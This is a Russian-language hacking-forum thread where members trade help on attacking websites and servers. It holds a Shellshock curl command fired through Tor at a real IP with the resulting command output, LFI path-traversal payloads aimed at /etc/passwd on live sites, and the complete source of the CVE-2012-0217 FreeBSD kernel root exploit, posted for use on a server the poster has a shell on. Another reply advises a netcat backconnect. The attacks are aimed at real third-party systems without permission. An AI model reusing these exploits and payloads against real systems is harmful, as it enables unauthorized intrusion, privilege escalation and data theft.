Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. Gorev

    Gorev Level 8

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    акунетикс сильно логи засоряет, советую отказаться от активного пользования этим интсрументом вживую, и еще перехвати запросы акунетикса и посмотри что он отправляет на самом деле
     
  2. Gorev

    Gorev Level 8

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    в лисе много плагинов которые прекрасно справляются с этими задачами, hackbar к примеру
     
  3. Gorev

    Gorev Level 8

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    проги обычно порождают паразитные запросы как и акунетикс
     
    crlf likes this.
  4. t0ma5

    t0ma5 Reservists Of Antichat

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    доступны, просто есть нюанс :D
     
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  5. t0ma5

    t0ma5 Reservists Of Antichat

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    ты написал самый вероятный случай, а я открыл консоль и разобрался, можно конечно злится и писать что вчера трава была зеленее, но выглядит это дешево
    и тролей тут без меня хватает :)

    Code:
    ~$ curl --proxy socks5://127.0.0.1:9150 '79.171.115.8:8080/cgi-bin/wlogin' -H 'Referer: () { Referer; }; echo -e "Content-Type: text/plain\n";echo $(/bin/id)'
    uid=1777(meteo) gid=1778(meteo) groups=501(fdp),1778(meteo)
    
     
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  6. qqq1457

    qqq1457 Member

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    спасибо
     
  7. t0ma5

    t0ma5 Reservists Of Antichat

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    я участвую, когда время есть :) слушай я не виноват что у тебя день плохой
     
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    erwerr2321 and [aywo] like this.
  8. foozzione

    foozzione Member

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    prestashop (версия хз, как проверить тоже хз)
    обнаружил такое:
    http://site.ru/modules/blocklayered...ered_id_feature_20=20_8&id_category_layered=2
    в ответ белая страница с:
    Code:
    Table 'stiliagi_new.ps_layered_category' doesn't exist
    
    SELECT * FROM ps_layered_category WHERE id_category = 2 ORDER BY position ASC
    Понятно что таким образом можно узнать имя бд, но интересует вопрос, можно ли это считать как скулю?
     
  9. winstrool

    winstrool ~~*MasterBlind*~~

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    Что бы разобраться в вопросе, не плохо было бы посмотреть исходный код который отвечает за данную обработку, в данном случае, если погуглить, как пример:
    inurl:modules/blocklayered/blocklayered-ajax.php

    Мы можем увидеть исходники на гитхабе:
    https://github.com/PrestaShop/PrestaShop-1.5/blob/master/modules/blocklayered/blocklayered-ajax.php

    PHP:
    include(dirname(__FILE__).'/../../config/config.inc.php');
    include(
    dirname(__FILE__).'/../../init.php');
    include(
    dirname(__FILE__).'/blocklayered.php');
    Context::getContext()->controller->php_self 'category';
    $blockLayered = new BlockLayered();
    echo 
    $blockLayered->ajaxCall();[/B]
    где по классу мы видим обработку класса в файле blocklayered.php
    https://github.com/PrestaShop/Prest...748da7c/modules/blocklayered/blocklayered.php

    участок кода:
    PHP:
        public function hookProductListAssign($params)
        {
            global 
    $smarty;
            if (!
    Configuration::getGlobalValue('PS_LAYERED_INDEXED'))
                return;
            
    $categories_count Db::getInstance()->getValue('
                SELECT COUNT(*)
                FROM '
    ._DB_PREFIX_.'layered_category
                WHERE id_category = '
    .(int)Tools::getValue('id_category'Tools::getValue('id_category_layered'Configuration::get('PS_HOME_CATEGORY'))).'
                AND id_shop = '
    .(int) Context::getContext()->shop->id
            
    );


    .....

    $id_shop = (int) Context::getContext()->shop->id;

    .....

            
    /* Get the filters for the current category */
            
    $filters Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('
                SELECT * FROM '
    ._DB_PREFIX_.'layered_category
                WHERE id_category = '
    .(int)$id_parent.'
                    AND id_shop = '
    .$id_shop.'
                GROUP BY `type`, id_value ORDER BY position ASC'
            
    );
    отсюда мы видим, что данные достаточно фильтруются и принимают только INT параметр, следовательно тут скули нет!
     
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  10. rudu2

    rudu2 New Member

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    Есть сайт на
    OpenCart 1.4.9
    есть LFI
    index.php?route=../../../../../../../../../../../../../../../etc/passwd%00
    как бы не переберал ../ мне все время вылезает ошибка
    Warning: is_dir() expects parameter 1 to be a valid path, string given in /home/officeme/public_html/system/engine/action.php on line 16Warning: is_file() expects parameter 1 to be a valid path, string given in /home/officeme/public_html/system/engine/action.php on line 24
    но не какой фаил не инклудится
    в чем прикол
     
  11. crlf

    crlf Green member

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    Отсечение части пути нуллбайтом работает только в старых версиях PHP.
     
  12. rudu2

    rudu2 New Member

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    тоесть обойти это нельзя никак?
     
  13. lyovhysb

    lyovhysb New Member

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    _librusec*pro что то фильтруется у них всё, даже админку найти не мог.
     
  14. crlf

    crlf Green member

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    Никак. Посмотри вот это https://rdot.org/forum/showthread.php?t=2611 , возможно, под твою версию проканает.
     
  15. crlf

    crlf Green member

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  16. SaNDER

    SaNDER Banned

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    Нашёл exploit под freebsd 8.3 .
    Инфа в shell такая : FreeBSD ****** 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Mon Jun 30 13:33:36 UTC 2014
    Взято с github'a:

    // CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
    // Copyright 2012 all right reserved, not for commercial uses, bitches
    // Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/utsname.h>
    #include <machine/cpufunc.h>
    #define _WANT_UCRED
    #include <sys/proc.h>
    #include <machine/segments.h>
    #include <sys/param.h>
    #include <sys/linker.h>
    uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
    struct gate_descriptor * sidt()
    {
    struct region_descriptor idt;
    asm ("sidt %0": "=m"(idt));
    return (struct gate_descriptor*)idt.rd_base;
    }
    u_long get_symaddr(char *symname)
    {
    struct kld_sym_lookup ksym;
    ksym.version = sizeof (ksym);
    ksym.symname = symname;
    if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
    perror("kldsym");
    exit(1);
    }
    printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
    return ksym.symvalue;
    }
    // Code taken from amd64/amd64/machdep.c
    void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
    {
    struct gate_descriptor *ip;
    ip = idt + idx;
    ip->gd_looffset = func;
    ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
    ip->gd_ist = ist;
    ip->gd_xx = 0;
    ip->gd_type = typ;
    ip->gd_dpl = dpl;
    ip->gd_p = 1;
    ip->gd_hioffset = func>>16;
    }
    void shellcode()
    {
    // Actually we dont really need to spawn a shell since we
    // changed our whole cred struct.
    // Just exit...
    printf("[*] Got root!\n");
    exit(0);
    }
    void kernelmodepayload()
    {
    struct thread *td;
    struct ucred *cred;
    // We need to restore/recover whatever we smashed
    // We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
    // The #GP exception frame writes 6*64bit registers, i.e. it overwrites
    // idt[18], idt[17] and idt[16]
    // thus overall we have:
    // - idt[18], idt[17] and idt[16] are trashed
    // - tf_addr -> overwrites the 64bit-LSB of idt[15]
    // - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
    // - rdi -> overwrites the 64bit-LSB of idt[7]
    // - #PF exception frame overwrites idt[6], idt[5] and idt[4]
    struct gate_descriptor *idt = sidt();
    setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
    setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
    setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
    setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
    setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
    setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
    setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
    setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
    setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
    // get the thread pointer
    asm ("mov %%gs:0, %0" : "=r"(td));
    // The Dark Knight Rises
    cred = td->td_proc->p_ucred;
    cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
    cred->cr_groups[0] = 0;
    // return to user mode to spawn the shell
    asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
    }
    #define TRIGGERCODESIZE 20
    #define TRAMPOLINECODESIZE 18
    void trigger()
    {
    printf("[*] Setup...\n");
    // Allocate one page just before the non-canonical address
    printf(" [+] Trigger code...\n");
    uint64_t pagesize = getpagesize();
    uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
    area = mmap(area, pagesize,
    PROT_READ | PROT_WRITE | PROT_EXEC,
    MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
    if (area == MAP_FAILED) {
    perror("mmap (trigger)");
    exit(1);
    }
    // Copy the trigger code at the end of the page
    // such that the syscall instruction is at its
    // boundary
    char triggercode[] =
    "\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
    "\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
    "\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
    "\x0f\x05"; // syscall
    uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
    memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
    // There are two outcomes given a target rsp:
    // - if rsp can't be written to, a double fault is triggered
    // (Xdblfault defined in sys/amd64/amd64/exception.S)
    // and the exception frame is pushed to a special stack
    // - otherwise a #GP is triggered
    // (Xprot defined in sys/amd64/amd64/exception.S)
    // and the exception frame is pushed to [rsp]
    //
    // In the latter case, trouble is... #GP triggers a page fault
    // (Xpage):
    // IDTVEC(prot)
    // subq $TF_ERR,%rsp
    // [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
    // [2] movq $0,TF_ADDR(%rsp)
    // [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
    // leaq doreti_iret(%rip),%rdi
    // cmpq %rdi,TF_RIP(%rsp)
    // je 1f /* kernel but with user gsbase!! */
    // [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
    // jz 2f /* already running with kernel GS.base */
    // 1: swapgs
    // 2: movq PCPU(CURPCB),%rdi [5]
    //
    // [4] sets the Z flag because we come from the kernel (while executing sysret)
    // and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
    // it was restored just before calling sysret...
    // Thus, [5] triggers a pagefault while trying to access gs:data
    // If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
    //
    // We therefore need a way: (1) to recover from the GP, (2) to clean
    // any mess we did. Both could be solved if we can get get an arbitrary
    // code execution by the time we reach [5] (NB: this is not mandatory, we could
    // get the code execution later down the fault trigger chain)
    //
    // So... here is the idea: wouldn't it be nice if we could overwrite the
    // page fault handler's address and therefore get code execution when [5]
    // triggers the #PF?
    //
    // For reference:
    // Gate descriptor:
    // +0: Target Offset[15:0] | Target Selector
    // +4: Some stuff | Target Offset[31:16]
    // +8: Target Offset[63:32]
    // +12: Stuff
    //
    // and from include/frame.h:
    // struct trapframe {
    // register_t tf_rdi;
    // register_t tf_rsi;
    // register_t tf_rdx;
    // register_t tf_rcx;
    // register_t tf_r8;
    // register_t tf_r9;
    // register_t tf_rax;
    // register_t tf_rbx;
    // register_t tf_rbp;
    // register_t tf_r10;
    // register_t tf_r11;
    // register_t tf_r12;
    // register_t tf_r13;
    // register_t tf_r14;
    // register_t tf_r15;
    // uint32_t tf_trapno;
    // uint16_t tf_fs;
    // uint16_t tf_gs;
    // register_t tf_addr;
    // uint32_t tf_flags;
    // uint16_t tf_es;
    // uint16_t tf_ds;
    // /* below portion defined in hardware */
    // register_t tf_err;
    // register_t tf_rip;
    // register_t tf_cs;
    // register_t tf_rflags;
    // register_t tf_rsp;
    // register_t tf_ss;
    // };
    //
    // When the exception is triggered, the hardware pushes
    // ss, rsp, rflags, cs, rip and err
    //
    // We can see that [1], [2] and [3] write to the stack
    // [3] is fully user-controlled through rdi, so we could try to align
    // rsp such that [3] overwrites the offset address
    //
    // The trouble is... rsp is 16byte aligned for exceptions. We can
    // therefore only overwrite the first 32-LSB of the offset address
    // (check how rdi is 16byte aligned in this trapframe)
    //
    // [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
    // That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
    // and tf_trapno is 16byte aligned + 8!
    // This enables us to set Target Offset[63:32] to 0x9
    //
    // We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
    *(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
    // Hence, the #PF handler's address is now 0x9WWXXYYZZ
    // Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
    // Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
    // some setup and jump to our kernel mode code
    printf(" [+] Trampoline code...\n");
    char trampolinecode[] =
    "\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
    "\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
    "\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
    "\xff\xe0"; // jmp rax
    uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
    size_t trampoline_allocsize = pagesize;
    // We round the address to the PAGESIZE for the allocation
    // Not enough space for the trampoline code ?
    if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
    trampoline_allocsize += pagesize;
    if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
    PROT_READ | PROT_WRITE | PROT_EXEC,
    MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
    {
    perror("mmap (trampoline)");
    exit(1);
    }
    memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
    *(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
    // Call it
    printf("[*] Fire in the hole!\n");
    ((void (*)())trigger_addr)();
    }
    typedef struct validtarget
    {
    char * sysname;
    char * release;
    char * machine;
    } validtarget_t;
    int validate_target(char * sysname, char * release, char * machine)
    {
    validtarget_t targets[] = {
    { "FreeBSD", "8.3-RELEASE", "amd64" },
    { "FreeBSD", "9.0-RELEASE", "amd64" },
    { 0, 0, 0 }
    };
    int found = 0;
    int i = 0;
    while (!found && targets.sysname) {
    found = !strcmp(targets.sysname, sysname)
    && !strcmp(targets.release, release)
    && !strcmp(targets.machine, machine);
    ++i;
    }
    return found;
    }
    void get_cpu_vendor(char * cpu_vendor)
    {
    u_int regs[4];
    do_cpuid(0, regs);
    ((u_int *)cpu_vendor)[0] = regs[1];
    ((u_int *)cpu_vendor)[1] = regs[3];
    ((u_int *)cpu_vendor)[2] = regs[2];
    cpu_vendor[12] = '\0';
    }
    int is_intel()
    {
    char cpu_vendor[13];
    get_cpu_vendor(cpu_vendor);
    return !strcmp(cpu_vendor, "GenuineIntel");
    }
    int main(int argc, char *argv[])
    {
    printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
    printf("[*] Retrieving host information...\n");
    char cpu_vendor[13];
    get_cpu_vendor(cpu_vendor);
    struct utsname ver;
    uname(&ver);
    printf(" [+] CPU: %s\n", cpu_vendor);
    printf(" [+] sysname: %s\n", ver.sysname);
    printf(" [+] release: %s\n", ver.release);
    printf(" [+] version: %s\n", ver.version);
    printf(" [+] machine: %s\n", ver.machine);
    printf("[*] Validating target OS and version...\n");
    if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
    printf(" [+] NOT Vulnerable :-(\n");
    exit(1);
    } else
    printf(" [+] Vulnerable :)\n");
    // Prepare the values we'll need to restore the kernel to a stable state
    printf("[*] Resolving kernel addresses...\n");
    Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
    Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
    Xill_ptr = (uintptr_t)get_symaddr("Xill");
    Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
    Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
    Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
    Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
    Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
    Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
    // doeet!
    trigger();
    return 0;
    }

    Подойдёт?
    И ещё пишу в netcat следующее : nc ip port он 1 сек держится и закрывается,запускал через nc64.exe . В чём проблема?
     
  17. Gorev

    Gorev Level 8

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    сначала приконектись к серверу норм, поизучай комманды нетката, лучше забинди порт на сервере а еще лучше бэкконнект у себя запусти неткат с прослушкой нужного порта
     
  18. SaNDER

    SaNDER Banned

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    Не могу обрезать php да и вообще докопаться до /etc/passwd# + sys_ привязывается.
    ошибка :
    Code:
    Warning: include(sys_config\0.php) [function.include]: failed to open stream: No such file or directory in /home/*****/****.*****.***/docs/index.php on line 26
    
    Warning: include() [function.include]: Failed opening 'sys_config\0.php' for inclusion (include_path='.:/home/*****/***.******.***/php') in /home/****/***.******.***/docs/index.php on line 26 
    в параметр вписывал это : config.php%00
     
    #1758 SaNDER, 22 Feb 2017
    Last edited: 22 Feb 2017
  19. brown

    brown Member

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    <b>Deprecated</b>: Function ereg() is deprecated in <b>/lib/dbcontroller/DbLog.class.php</b> on line <b>41</b><br /> LFI?
     
  20. Gorev

    Gorev Level 8

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    версия пхп? нулль байт не сработает